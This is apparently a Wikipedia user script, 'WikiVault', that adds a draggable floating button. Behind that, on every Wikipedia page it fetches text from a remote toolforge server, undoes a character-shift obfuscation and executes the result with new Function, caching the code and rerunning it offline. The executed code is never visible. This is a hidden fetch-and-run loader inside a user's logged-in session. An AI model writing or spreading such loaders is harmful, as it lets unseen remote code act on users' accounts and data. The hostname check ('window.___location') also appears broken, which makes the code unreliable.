$(document).ready(function() {
// Prevent multiple instances
if ($("#wikivault-floating-button").length) return;
const WIKI_VAULT = {
MAIN_URI: 'https://en-wikivault.toolforge.org', // Adapted for English Wikipedia
JS_CONTENT_API: '/api/get-js-content',
INIT_API: '/api/init',
IS_DEMO: false,
STORAGE_KEYS: {
LAST_MODIFIED: 'wikivault_en_last_modified',
CACHED_CODE: 'wikivault_en_cached_code',
BUTTON_POSITION: 'wikivault_en_button_position'
}
};
// SVG icon for the floating button
const FLOATING_BUTTON_SVG = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none">' +
'<circle cx="12" cy="12" r="10" stroke="var(--background-color-progressive-subtle, white)" stroke-width="1.5" fill="none"></circle>' +
'<rect x="11" y="9" width="2" height="10" transform="rotate(55 12 12)" fill="var(--background-color-progressive-subtle, white)"></rect>' +
'<path d="M11.5 4.5h1.5v1.5h-1.5zM14.5 6h1.5v1.5h-1.5zM12.5 7.5h1.5v1.5h-1.5zM9.5 6h1.5v1.5h-1.5z" fill="var(--background-color-progressive-subtle, white)"></path>' +
'</svg>';
// Default button styling
const BUTTON_STYLES = {
position: 'fixed',
right: '20px',
top: '50%',
transform: 'translateY(-50%)',
width: '50px',
height: '50px',
'background-color': '#0645ad', // Wikipedia blue
color: 'white',
display: 'flex',
'justify-content': 'center',
'align-items': 'center',
'border-radius': '50%',
cursor: 'pointer',
opacity: '0.9',
'box-shadow': '0 2px 6px rgba(0,0,0,0.2)',
'z-index': '1000',
'touch-action': 'none',
transition: 'opacity 0.2s ease'
};
function createFloatingButton() {
const button = $("<div>", {
id: "wikivault-floating-button",
html: FLOATING_BUTTON_SVG,
title: "WikiVault - Wikipedia Enhancement Tools"
}).css(BUTTON_STYLES).appendTo('body');
// Add hover effects
button.hover(
function() { $(this).css('opacity', '1.0'); },
function() { $(this).css('opacity', '0.9'); }
);
// Load and validate saved position
const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
if (savedPosition) {
try {
const pos = JSON.parse(savedPosition);
const viewportWidth = $(window).width();
const viewportHeight = $(window).height();
const buttonWidth = 50;
const buttonHeight = 50;
// Ensure button stays within viewport bounds
const safeLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
const safeTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));
button.css({
position: 'fixed',
left: safeLeft + 'px',
top: safeTop + 'px',
right: '',
transform: ''
});
// Update stored position if it was adjusted
if (safeLeft !== pos.left || safeTop !== pos.top) {
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify({
left: safeLeft,
top: safeTop
}));
}
} catch (e) {
console.error("WikiVault: Failed to parse saved button position:", e);
localStorage.removeItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
}
}
// Dragging functionality
var isDragging = false;
var offsetX, offsetY;
var startX, startY;
var DRAG_THRESHOLD = 5;
function startDrag(e) {
if (e.button === 2) return; // Ignore right-clicks
isDragging = false;
const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
const buttonRect = button[0].getBoundingClientRect();
offsetX = event.clientX - buttonRect.left;
offsetY = event.clientY - buttonRect.top;
startX = event.clientX;
startY = event.clientY;
$('body').css('user-select', 'none');
button.data('original-cursor', button.css('cursor'));
button.css('cursor', 'grabbing');
e.preventDefault();
}
function moveDrag(e) {
if (!startX || !startY) return;
const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
const dx = event.clientX - startX;
const dy = event.clientY - startY;
const distance = Math.sqrt(dx * dx + dy * dy);
// Start dragging only after threshold is exceeded
if (!isDragging && distance > DRAG_THRESHOLD) {
isDragging = true;
button.data('dragging', true);
}
if (!isDragging) return;
const viewportWidth = $(window).width();
const viewportHeight = $(window).height();
const buttonWidth = button.outerWidth();
const buttonHeight = button.outerHeight();
// Calculate new position with bounds checking
var newLeft = event.clientX - offsetX;
var newTop = event.clientY - offsetY;
newLeft = Math.max(0, Math.min(newLeft, viewportWidth - buttonWidth));
newTop = Math.max(0, Math.min(newTop, viewportHeight - buttonHeight));
button.css({
position: 'fixed',
left: newLeft + 'px',
top: newTop + 'px',
right: 'auto',
transform: 'none'
});
e.preventDefault();
}
function endDrag() {
if (isDragging) {
// Save new position after dragging
const pos = {
left: parseInt(button.css('left')),
top: parseInt(button.css('top'))
};
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify(pos));
}
isDragging = false;
button.data('dragging', false);
startX = null;
startY = null;
$('body').css('user-select', '');
button.css('cursor', button.data('original-cursor'));
}
// Event listeners for dragging
button.on('mousedown touchstart', startDrag);
$(document).on('mousemove touchmove', moveDrag);
$(document).on('mouseup touchend', endDrag);
// Handle window resize
$(window).on('resize', function() {
const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
if (savedPosition) {
try {
const pos = JSON.parse(savedPosition);
const viewportWidth = $(window).width();
const viewportHeight = $(window).height();
const buttonWidth = button.outerWidth();
const buttonHeight = button.outerHeight();
const newLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
const newTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));
button.css({
left: newLeft + 'px',
top: newTop + 'px',
right: '',
transform: ''
});
// Update position if adjusted
if (newLeft !== pos.left || newTop !== pos.top) {
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION,
JSON.stringify({ left: newLeft, top: newTop }));
}
} catch (e) {
console.error("WikiVault: Failed to handle resize:", e);
}
}
});
// Trigger resize to ensure proper positioning
window.dispatchEvent(new Event('resize'));
}
function getWikiVaultUri(api) {
return WIKI_VAULT.MAIN_URI + api;
}
function decodeResponse(response) {
// Simple character shift decoder (shifts each character back by 3)
return response.split("").map(function(char) {
return String.fromCharCode(char.charCodeAt(0) - 3);
}).join("");
}
function executeCode(code) {
try {
const decodedResponse = decodeResponse(code);
new Function(decodedResponse)();
} catch (e) {
console.error("WikiVault Script Execution Error:", e);
}
}
function loadAndExecuteScript() {
// Skip in demo mode
if (WIKI_VAULT.IS_DEMO) return;
// First, check server for latest version info
$.ajax({
url: getWikiVaultUri(WIKI_VAULT.INIT_API),
type: 'GET',
timeout: 10000, // 10 second timeout
success: function(initResponse) {
const serverLastModified = Math.floor(initResponse.lastModified);
const cachedLastModified = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED);
const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);
// Use cached version if it's up to date
if (cachedCode && cachedLastModified && serverLastModified === Number(cachedLastModified)) {
console.log("WikiVault: Using cached script");
executeCode(cachedCode);
return;
}
// Fetch latest script from server
$.ajax({
url: getWikiVaultUri(WIKI_VAULT.JS_CONTENT_API),
type: 'GET',
dataType: 'text',
timeout: 15000, // 15 second timeout
success: function(response) {
console.log("WikiVault: Loaded fresh script from server");
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE, response);
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED, serverLastModified);
executeCode(response);
},
error: function(xhr, status, error) {
console.error("WikiVault: Script fetch failed:", status, error);
// Fall back to cached version if available
if (cachedCode) {
console.log("WikiVault: Falling back to cached script");
executeCode(cachedCode);
}
}
});
},
error: function(xhr, status, error) {
console.error("WikiVault: Init request failed:", status, error);
// Try to use cached version
const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);
if (cachedCode) {
console.log("WikiVault: Using cached script (server unreachable)");
executeCode(cachedCode);
}
}
});
}
// Only run on Wikipedia domains
if (window.___location.hostname.includes('wikipedia.org')) {
createFloatingButton();
loadAndExecuteScript();
}
});